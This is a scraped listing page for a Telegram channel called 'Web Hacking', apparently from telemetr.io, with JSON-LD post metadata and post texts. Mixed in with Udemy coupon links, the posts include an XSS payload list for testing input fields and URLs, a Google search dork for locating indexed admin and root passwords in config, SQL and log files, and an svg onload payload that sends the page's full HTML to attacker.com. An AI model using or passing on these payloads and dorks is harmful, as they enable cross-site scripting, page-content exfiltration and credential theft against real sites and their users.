en
Feedback
2 028
Subscribers
No data24 hours
No data7 days
+1830 days
Posts Archive
\n'-alert(1)-'\n\\'-alert(1)//\njavascript:alert(1)\n\nTry it on:\n- URL query, fragment & path;\n- all input fields.","datePublished":"2019-06-14T07:27:39Z","dateModified":"2019-06-14T07:27:39Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1470},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":10}]}},{"@type":"ListItem","position":4,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1159727667-webhacking/posts/58","url":"https://telemetr.io/en/channels/1159727667-webhacking/posts/58","mainEntityOfPage":"https://telemetr.io/en/channels/1159727667-webhacking/posts/58","headline":"Python Essentials | Mastering Programming with Python Learn and Master modern Python Fast, know how it works…","articleBody":"Python Essentials | Mastering Programming with Python\n\nLearn and Master modern Python Fast, know how it works with examples and dive deep into it in a short time.\n\nhttps://www.udemy.com/python-essentials-mastering-programming-with-python/?couponCode=PI314DIR5P10\n\n@WebHacking","datePublished":"2019-06-12T07:27:14Z","dateModified":"2019-06-12T07:27:14Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1427},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":5,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1159727667-webhacking/posts/57","url":"https://telemetr.io/en/channels/1159727667-webhacking/posts/57","mainEntityOfPage":"https://telemetr.io/en/channels/1159727667-webhacking/posts/57","headline":"Master in Hacking with XSS Cross Site Scripting Learn the most common flaws in web applications https://www.u…","articleBody":"Master in Hacking with XSS Cross Site Scripting\n\nLearn the most common flaws in web applications\n\nhttps://www.udemy.com/xss-cross-site-scripting/?couponCode=ONE_LAKH_FREE","datePublished":"2019-06-12T07:24:56Z","dateModified":"2019-06-12T07:24:56Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1361},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":4}]}},{"@type":"ListItem","position":6,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1159727667-webhacking/posts/56","url":"https://telemetr.io/en/channels/1159727667-webhacking/posts/56","mainEntityOfPage":"https://telemetr.io/en/channels/1159727667-webhacking/posts/56","headline":"Web Hacking","datePublished":"2019-05-15T20:20:05Z","dateModified":"2019-05-15T20:20:05Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1486},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":12}]}},{"@type":"ListItem","position":7,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1159727667-webhacking/posts/55","url":"https://telemetr.io/en/channels/1159727667-webhacking/posts/55","mainEntityOfPage":"https://telemetr.io/en/channels/1159727667-webhacking/posts/55","headline":"🎯Want administrator's creds? Google has indexed it for you: intext:company_keyword & ext:txt | ext:sql | ext:…","articleBody":"🎯Want administrator's creds? Google has indexed it for you:\n\nintext:company_keyword & ext:txt | ext:sql | ext:cnf | ext:config | ext:log & intext:\"admin\" | intext:\"root\" | intext:\"administrator\" & intext:\"password\" | intext:\"root\" | intext:\"admin\" | intext:\"administrator\"","datePublished":"2019-05-03T17:37:46Z","dateModified":"2019-05-03T17:37:46Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1430},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":5}]}},{"@type":"ListItem","position":8,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1159727667-webhacking/posts/54","url":"https://telemetr.io/en/channels/1159727667-webhacking/posts/54","mainEntityOfPage":"https://telemetr.io/en/channels/1159727667-webhacking/posts/54","headline":"🎯A payload that sends current webpage to remote server ","datePublished":"2019-05-03T17:02:57Z","dateModified":"2019-05-03T17:02:57Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1390},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":6}]}},{"@type":"ListItem","position":9,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1159727667-webhacking/posts/52","url":"https://telemetr.io/en/channels/1159727667-webhacking/posts/52","mainEntityOfPage":"https://telemetr.io/en/channels/1159727667-webhacking/posts/52","headline":"Web Hacking","datePublished":"2019-04-17T07:06:48Z","dateModified":"2019-04-17T07:06:48Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":494},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":10,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1159727667-webhacking/posts/51","url":"https://telemetr.io/en/channels/1159727667-webhacking/posts/51","mainEntityOfPage":"https://telemetr.io/en/channels/1159727667-webhacking/posts/51","headline":"Web Hacking","datePublished":"2019-04-11T09:26:12Z","dateModified":"2019-04-11T09:26:12Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1366},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":11}]}},{"@type":"ListItem","position":11,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1159727667-webhacking/posts/48","url":"https://telemetr.io/en/channels/1159727667-webhacking/posts/48","mainEntityOfPage":"https://telemetr.io/en/channels/1159727667-webhacking/posts/48","headline":"Web Hacking","datePublished":"2019-03-10T18:09:59Z","dateModified":"2019-03-10T18:09:59Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1394},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":12}]}},{"@type":"ListItem","position":12,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1159727667-webhacking/posts/46","url":"https://telemetr.io/en/channels/1159727667-webhacking/posts/46","mainEntityOfPage":"https://telemetr.io/en/channels/1159727667-webhacking/posts/46","headline":"Web Hacking","datePublished":"2019-03-02T04:00:41Z","dateModified":"2019-03-02T04:00:41Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1632},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":13}]}},{"@type":"ListItem","position":13,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1159727667-webhacking/posts/43","url":"https://telemetr.io/en/channels/1159727667-webhacking/posts/43","mainEntityOfPage":"https://telemetr.io/en/channels/1159727667-webhacking/posts/43","headline":"Web Hacking","datePublished":"2019-02-11T05:30:36Z","dateModified":"2019-02-11T05:30:36Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1419},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":7}]}},{"@type":"ListItem","position":14,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1159727667-webhacking/posts/42","url":"https://telemetr.io/en/channels/1159727667-webhacking/posts/42","mainEntityOfPage":"https://telemetr.io/en/channels/1159727667-webhacking/posts/42","headline":"Web Hacking","datePublished":"2019-02-10T20:17:39Z","dateModified":"2019-02-10T20:17:39Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1485},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":10}]}},{"@type":"ListItem","position":15,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1159727667-webhacking/posts/41","url":"https://telemetr.io/en/channels/1159727667-webhacking/posts/41","mainEntityOfPage":"https://telemetr.io/en/channels/1159727667-webhacking/posts/41","headline":"Another XSS vector. Browser: Firefox Trigger: Alt+Shift+k (linux) ","articleBody":"Another XSS vector.\n\nBrowser: Firefox\nTrigger: Alt+Shift+k (linux)\n\n","datePublished":"2019-02-10T20:07:26Z","dateModified":"2019-02-10T20:07:26Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/en/channels/1159727667-webhacking","image":"https://img.tlmtr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1352},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":8}]}}]}
photo content

photo content

Here's a small #XSS list for manual testing (main cases, high success rate). "><img src onerror=alert(1)> "autofocus onfocus=alert(1)// </script><script>alert(1)</script> '-alert(1)-' \'-alert(1)// javascript:alert(1) Try it on: - URL query, fragment & path; - all input fields.

Python Essentials | Mastering Programming with Python Learn and Master modern Python Fast, know how it works with examples and dive deep into it in a short time. https://www.udemy.com/python-essentials-mastering-programming-with-python/?couponCode=PI314DIR5P10 @WebHacking

Master in Hacking with XSS Cross Site Scripting Learn the most common flaws in web applications https://www.udemy.com/xss-cross-site-scripting/?couponCode=ONE_LAKH_FREE

jtr-cheat-sheet.pdf4.71 KB

🎯Want administrator's creds? Google has indexed it for you: intext:company_keyword & ext:txt | ext:sql | ext:cnf | ext:config | ext:log & intext:"admin" | intext:"root" | intext:"administrator" & intext:"password" | intext:"root" | intext:"admin" | intext:"administrator"

🎯A payload that sends current webpage to remote server <svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">

Acunetix Web Application Vulnerability Report 2019.pdf4.10 MB

photo content

photo content

photo content

photo content

photo content

Another XSS vector. Browser: Firefox Trigger: Alt+Shift+k (linux)